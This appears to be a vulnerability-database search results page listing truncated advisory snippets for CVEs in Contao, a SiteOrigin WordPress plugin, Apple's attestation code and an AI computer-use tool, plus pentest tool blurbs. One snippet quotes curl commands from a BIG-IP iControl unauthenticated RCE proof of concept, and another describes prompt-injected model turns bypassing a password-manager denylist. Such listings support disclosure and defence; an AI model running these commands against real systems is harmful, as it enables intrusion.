3068 matches found
CVE-2026-108721 Open Computer Use through 1.0.0 Denylist Bypass via Case-Variant Bundle ID
Open Computer Use through 1.0.0 on macOS contains an improper case sensitivity handling vulnerability that allows local MCP callers to bypass the password-manager denylist using case-variant bundle identifiers. Attackers, including prompt-injected model turns, can pass identifiers like...
IntRec-Pack
IntRec-Pack Pacchetto/installatore bundle per Intelligence e Reconnaissance. IntRec-Pack è uno script Bash progettato per scaricare, installare e distribuire diversi strumenti di qualità OSINT, Recon e Threat Intelligence. Poiché gestisce anche l'installazione delle varie dipendenze relative a...
idb
Idb idb is a tool to simplify some common tasks for iOS pentesting and research. Originally there was a command line version of the tool, but it is no longer under development so you should get the GUI version. idb has a new homepage athttp://www.idbtool.com All documentation and news are posted...
mhf
Mobile Helper Framework is a tool that automates the process of identifying the framework/technology used to create a mobile application. Additionally, it assists in finding sensitive information or provides suggestions for working with the identified platform. How work? The tool searches for fil...
CVE-2022-20474
CVE-2022-20474 Analyse – Self-changed Bundle unter LazyValue Vorwort Freundlicher Hinweis: Bevor Sie diesen Artikel lesen, sollten Sie ein grundlegendes Verständnis der Bundle-Mismatch-Schwachstellen haben. Falls Sie die folgenden Referenzen noch nicht gelesen haben, wird empfohlen, diese zuerst ...
CVE-2021-22986-Poc
CVE-2021-22986-Poc Questo è un PoC per l'RCE non autenticata di BIGIP iControl. POC : curl -ksu admin:redacted https://192.168.123.134/mgmt/tm/access/bundle-install-tasks -d '"filePath":"id"' | jq . curl -ksu : https://192.168.123.134/mgmt/shared/authn/login -d...
CVE-2026-97348
The SiteOrigin Widgets Bundle plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 1.74.3 via the getinstancecss function. This makes it possible for authenticated attackers, with contributor-level access and above, to read the contents of arbitrary file...
CVE-2026-97348
The SiteOrigin Widgets Bundle plugin for WordPress is vulnerable to Directory Traversal in all versions up to and including 1.74.3 . The flaw exists in the get_instance_css function, where the [siteorigin_widget] shortcode handler directly calls $the_widget->widget() on attacker-supplied decod...
EUVD-2026-96222
The SiteOrigin Widgets Bundle plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 1.74.3 via the getinstancecss function. This makes it possible for authenticated attackers, with contributor-level access and above, to read the contents of arbitrary file...
CVE-2026-97348 SiteOrigin Widgets Bundle <= 1.74.3 - Authenticated (Contributor+) Arbitrary File Read via LESS Injection via [siteorigin_widget] Shortcode 'value' JSON Instance (design.colors LESS Variable)
The SiteOrigin Widgets Bundle plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 1.74.3 via the getinstancecss function. This makes it possible for authenticated attackers, with contributor-level access and above, to read the contents of arbitrary file...
CVE-2026-43813
CVE-2026-43813 — bypass di enforceEnvironment di CloudAttestation Analisi di reverse engineering del bug di validazione dell'input dell'attestazione PCC che Apple ha distribuito con iOS 26.6, presente in CloudAttestation.dylib. TL;DR PCC.ComputeNodeValidator.policy.getter legge il byte...
Contao: Cross-site scripting in the comments bundle
An unauthenticated front end visitor can post a comment containing a XSS injection. The victim is any back end user who opens the Comments module, and moderation makes exposure certain rather than preventing it. No Content-Security-Policy header is sent on the Contao back end, so nothing mitigate...
CVE-2026-107851 Contao: Improper access control in the table access voter
Contao is an Open Source CMS. From version 5.7.0 until 5.7.12, TableAccessVoter::hasAccessToModule in core-bundle/src/Security/Voter/DataContainer/TableAccessVoter.php caches authorization decisions using only $tokenHash, a hash of the user's security token, and omits the table returned by...
CVE-2026-107845
Contao is an Open Source CMS. From version 4.0.0 until 5.3.50 and 5.7.12, an unauthenticated visitor can submit a comment whose email or website metadata is rendered without sufficient attribute and URL encoding by listComments in comments-bundle/contao/dca/tlcomments.php. When a backend user ope...
EUVD-2026-95975
Contao is an Open Source CMS. From version 4.0.0 until 5.3.50 and 5.7.12, an unauthenticated visitor can submit a comment whose email or website metadata is rendered without sufficient attribute and URL encoding by listComments in comments-bundle/contao/dca/tlcomments.php. When a backend user ope...
CVE-2026-107845 Contao: Cross-site scripting in the comments bundle
Contao is an Open Source CMS. From version 4.0.0 until 5.3.50 and 5.7.12, an unauthenticated visitor can submit a comment whose email or website metadata is rendered without sufficient attribute and URL encoding by listComments in comments-bundle/contao/dca/tlcomments.php. When a backend user ope...
CVE-2026-107845
The Contao Open Source CMS is vulnerable to Cross-site scripting (XSS) in the comments bundle (versions 4.0.0 through 5.3.50 and 5.7.12). The root cause is insufficient attribute and URL encoding of email or website metadata within the listComments() function in comments-bundle/contao/dca/tl_comm...
CVE-2026-107845 Contao: Cross-site scripting in the comments bundle
Contao is an Open Source CMS. From version 4.0.0 until 5.3.50 and 5.7.12, an unauthenticated visitor can submit a comment whose email or website metadata is rendered without sufficient attribute and URL encoding by listComments in comments-bundle/contao/dca/tlcomments.php. When a backend user ope...
WordPress SiteOrigin Widgets Bundle plugin <= 1.74.3 - Authenticated (Contributor+) Arbitrary File Read vulnerability
Authenticated Contributor+ Arbitrary File Read vulnerability discovered by Wordfence PRISM in WordPress Plugin SiteOrigin Widgets Bundle versions = 1.74.3...